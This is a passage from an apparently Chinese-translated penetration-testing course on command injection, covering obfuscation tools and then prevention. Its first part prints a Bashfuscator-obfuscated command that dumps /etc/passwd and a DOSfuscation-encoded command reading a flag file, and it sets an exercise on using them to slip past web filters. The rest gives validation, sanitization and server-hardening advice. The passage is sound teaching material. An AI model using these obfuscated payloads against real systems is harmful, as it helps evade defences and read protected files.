测试输出的命令,看看它是否执行了预期的命令:
$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'
root:x:0:0:root:/root:/bin/bash
...SNIP...
我们可以看到混淆后的命令有效,但看起来完全混淆了,并且与我们的原始命令不同。我们可能还会注意到该工具使用了许多混淆技术,包括我们之前讨论的技术和许多其他技术。
练习:尝试使用我们的 Web 应用程序测试上述命令,看看它是否可以成功绕过过滤器。如果没有,你能猜出为什么吗?你能让这个工具产生有效载荷吗?
Windows (DOSfuscation)
还有一个非常相似的工具,我们可以将其用于 Windows,称为 DOSfuscation。与 Bashfuscator
不同,这是一个交互式工具,因为我们运行它一次并与之交互以获得所需的混淆命令。我们可以再次从 GitHub 克隆该工具,然后通过 PowerShell 调用它,如下所示:
PS C:\htb> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
PS C:\htb> cd Invoke-DOSfuscation
PS C:\htb> Import-Module .\Invoke-DOSfuscation.psd1
PS C:\htb> Invoke-DOSfuscation
Invoke-DOSfuscation> help
HELP MENU :: Available options shown below:
[*] Tutorial of how to use this tool TUTORIAL
...SNIP...
Choose one of the below options:
[*] BINARY Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING Environment variable encoding
[*] PAYLOAD Obfuscated payload via DOSfuscation
我们甚至可以使用教程(tutorial
)来查看该工具如何工作的示例。设置好后,我们就可以开始使用该工具了,如下所示:
Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1
...SNIP...
Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
最后,我们可以尝试在 CMD
上运行混淆后的命令,我们看到它确实按预期运行:
C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
test_flag
提示:如果我们无法访问 Windows VM,我们可以通过 pwsh 在 Linux VM 上运行上述代码。运行 pwsh,然后执行与上面完全相同的命令。此工具默认安装在您的 Pwnbox
实例中。您还可以在此链接中找到安装说明。
有关高级混淆方法的更多信息,您可以参考安全编码 101:JavaScript 模块,其中介绍了可用于各种攻击的高级混淆方法,包括我们在本模块中介绍的方法。
预防
命令注入 预防
我们现在应该对命令注入漏洞如何发生以及如何绕过某些缓解措施(如字符和命令过滤器)有深入的了解。本节将讨论我们可以用来防止 Web 应用程序中的命令注入漏洞的方法,并正确配置 Web 服务器以防止它们。
系统命令
我们应该始终避免使用执行系统命令的函数,尤其是当我们使用用户输入时。即使我们没有直接将用户输入输入到这些函数中,用户也可能会间接影响它们,这最终可能会导致命令注入漏洞。
我们不应使用系统命令执行函数,而应使用执行所需功能的内置函数,因为后端语言通常具有这些类型功能的安全实现。例如,假设我们想使用 PHP
测试特定主机是否处于活动状态。在这种情况下,我们可以改用 fsockopen
函数,它不应该被利用来执行任意系统命令。
如果我们需要执行系统命令,并且找不到执行相同功能的内置函数,我们不应该直接使用这些函数的用户输入,而应该始终在后端验证和清理用户输入。此外,我们应该尽量限制对这些类型函数的使用,并且仅在没有内置替代我们所需功能的情况下使用它们。
输入验证
无论是使用内置函数还是系统命令执行函数,我们都应该始终验证并净化用户输入。完成输入验证以确保它与输入的预期格式匹配,这样如果不匹配,请求将被拒绝。在我们的示例 Web 应用程序中,我们看到尝试在前端进行输入验证,但输入验证应该同时在前端和后端进行
。
在 PHP
中,与许多其他 Web 开发语言一样,内置了各种标准格式的过滤器,如电子邮件、URL 甚至 IP,可以与 filter_var
函数一起使用,如下所示:
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
// call function
} else {
// deny request
}
如果我们想要验证不同的非标准格式,那么我们可以使用带有 preg_match
函数的正则表达式 regex
。对于前端和后端(即 NodeJS
),可以使用 JavaScript
实现相同的效果,如下所示:
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
// call function
}
else{
// deny request
}
就像 PHP
一样,借助 NodeJS
,我们也可以使用库来验证各种标准格式,例如 is-ip,我们可以使用 npm
安装它,然后在我们的代码中使用 isIp(ip)
函数。
Input Sanitization(消毒)
防止任何注入漏洞最关键的部分是输入清理,这意味着从用户输入中删除任何不必要的特殊字符。输入清理总是在输入验证之后执行。即使在我们验证提供的用户输入的格式正确之后,我们仍应执行清理并删除特定格式不需要的任何特殊字符,因为在某些情况下输入验证可能会失败(例如,错误的正则表达式)。
在我们的示例代码中,我们看到当我们处理字符和命令过滤器时,它会将某些单词列入黑名单并在用户输入中查找它们。一般来说,这不是防止注入的好方法,我们应该使用内置函数来删除任何特殊字符。我们可以使用 preg_replace
从用户输入中删除任何特殊字符,如下所示:
$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);
如我们所见,上述正则表达式仅允许字母数字字符 (A-Za-z0-9
) 并允许 IP 所需的点字符 (.
)。任何其他字符将从字符串中删除。使用 JavaScript
也可以这样做,如下所示:
var ip = ip.replace(/[^A-Za-z0-9.]/g, '');
我们还可以将 DOMPurify 库用于 NodeJS
后端,如下所示:
import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);
在某些情况下,我们可能希望允许所有特殊字符(例如,用户评论),然后我们可以使用与输入验证相同的 filter_var
函数,并使用 escapeshellcmd
过滤器转义任何特殊字符,因此它们不会导致任何注入.对于 NodeJS
,我们可以简单地使用 escape(ip)
函数。然而,正如我们在本模块中所见,转义特殊字符通常不被认为是一种安全的做法,因为它通常可以通过各种技术绕过。
有关用户输入验证和清理以防止命令注入的更多信息,您可以参考安全编码 101:JavaScript 模块,其中介绍了如何审核 Web 应用程序的源代码以识别命令注入漏洞,然后正确修补这些漏洞类型的漏洞。
服务器配置
最后,我们应该确保我们的后端服务器已安全配置,以减少网络服务器遭到破坏时的影响。我们可能实施的一些配置是:
- 使用 Web 服务器的内置 Web 应用程序防火墙(例如,在 Apache mod_security
中),以及外部 WAF(例如 Cloudflare、Fortinet、Imperva
等)
- 通过以低权限用户(例如 www-data
)运行 Web 服务器来遵守最小权限原则 (PoLP) 防止 Web 服务器执行某些功能(例如,在 PHP 中 disable_functions=system,...
)
- 将 Web 应用程序可访问的范围限制在其文件夹内(例如在 PHP 中 open_basedir = '/var/www/html'
)
- 拒绝 URL 中的双重编码请求和非 ASCII 字符
最后,即使在所有这些安全缓解措施和配置之后,我们仍必须执行我们在本模块中学到的渗透测试技术,以查看是否有任何 Web 应用程序功能仍然容易受到命令注入的攻击。由于一些 Web 应用程序有数百万行代码,任何一行代码中的任何一个错误都可能足以引入漏洞。因此,我们必须通过彻底的渗透测试来补充安全编码最佳实践,从而尝试保护 Web 应用程序。